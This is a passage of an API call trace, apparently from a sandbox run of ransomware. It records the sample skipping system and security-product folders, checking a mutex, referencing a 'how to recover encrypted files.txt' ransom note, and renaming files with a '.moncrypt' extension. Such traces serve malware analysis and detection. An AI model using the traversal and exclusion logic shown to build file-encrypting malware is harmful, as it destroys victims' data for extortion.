lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\") returned 0x35 [0057.553] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0057.553] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@傴R企@\x18?T\x18\x81")) returned 0xffffffff [0057.554] GetLastError () returned 0x2 [0057.555] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\") returned 0x35 [0057.555] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0057.555] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@螌T企@\x18?T\x18\x88")) returned 0xffffffff [0057.556] GetLastError () returned 0x2 [0057.556] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\") returned 0x35 [0057.556] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0057.556] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@숼R企@\x18?T\x18\x8f")) returned 0xffffffff [0057.558] GetLastError () returned 0x2 [0057.558] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\") returned 0x35 [0057.558] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0057.558] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@傴R企@\x18?T\x18\x97")) returned 0xffffffff [0057.559] GetLastError () returned 0x2 [0057.559] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\") returned 0x35 [0057.559] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0057.559] GlobalLock (hMem=0x440004) returned 0x550170 [0057.559] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.559] GlobalUnlock (hMem=0x440004) returned 0 [0057.560] GlobalLock (hMem=0x440004) returned 0x550170 [0057.560] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.560] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.560] GlobalUnlock (hMem=0x440004) returned 0 [0057.560] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.560] GlobalUnlock (hMem=0x44000c) returned 0 [0057.560] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\") returned 0x35 [0057.560] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.560] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0057.560] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\") returned 0x35 [0057.560] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0057.560] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0057.560] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\") returned 0x35 [0057.560] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.560] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0057.560] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\") returned 0x35 [0057.560] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0057.560] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0057.560] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.560] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.560] GlobalUnlock (hMem=0x44000c) returned 0 [0057.560] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.560] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.560] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.560] GlobalUnlock (hMem=0x44000c) returned 0 [0057.560] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.560] GlobalUnlock (hMem=0x440004) returned 0 [0057.561] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\") returned 0x35 [0057.561] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0057.561] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\") returned 0x35 [0057.561] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0057.561] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\") returned 0x35 [0057.561] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0057.561] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\") returned 0x35 [0057.561] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0057.561] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\") returned 0x35 [0057.561] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0057.561] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\") returned 0x35 [0057.561] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0057.561] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\") returned 0x35 [0057.561] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0057.561] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\") returned 0x35 [0057.561] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0057.561] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\") returned 0x35 [0057.561] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0057.561] GlobalLock (hMem=0x440004) returned 0x550170 [0057.561] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.561] GlobalUnlock (hMem=0x440004) returned 0 [0057.561] GlobalLock (hMem=0x440004) returned 0x550170 [0057.562] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.562] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.562] GlobalUnlock (hMem=0x440004) returned 0 [0057.562] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.562] GlobalUnlock (hMem=0x44000c) returned 0 [0057.562] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0057.562] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.562] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0057.562] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0057.563] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.563] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.563] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.563] GlobalUnlock (hMem=0x44000c) returned 0 [0057.563] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.563] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.563] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.563] GlobalUnlock (hMem=0x44000c) returned 0 [0057.563] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.563] GlobalUnlock (hMem=0x440004) returned 0 [0057.563] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.563] CharLowerBuffW (in: lpsz="1047x576black.png", cchLength=0x11 | out: lpsz="1047x576black.png") returned 0x11 [0057.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.564] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.564] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\FlipPage\\1047x576black.pngc", lpUsedDefaultChar=0x0) returned 4 [0057.564] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0057.564] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0057.565] CloseHandle (hObject=0x18c) returned 1 [0057.565] DeleteFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\я")) returned 1 [0057.566] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 0x54e280 [0057.566] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.566] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.566] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.567] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png", dwFileAttributes=0x20) returned 0 [0057.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.568] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png.moncrypt")) returned 0 [0057.568] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe3ea46, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe3ea46, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0057.568] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.568] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.568] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.568] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.568] GlobalUnlock (hMem=0x440004) returned 0 [0057.568] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.568] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.568] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.568] GlobalUnlock (hMem=0x440004) returned 0 [0057.568] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.568] GlobalUnlock (hMem=0x44000c) returned 0 [0057.568] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.569] CharLowerBuffW (in: lpsz="203x8subpicture.png", cchLength=0x13 | out: lpsz="203x8subpicture.png") returned 0x13 [0057.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", 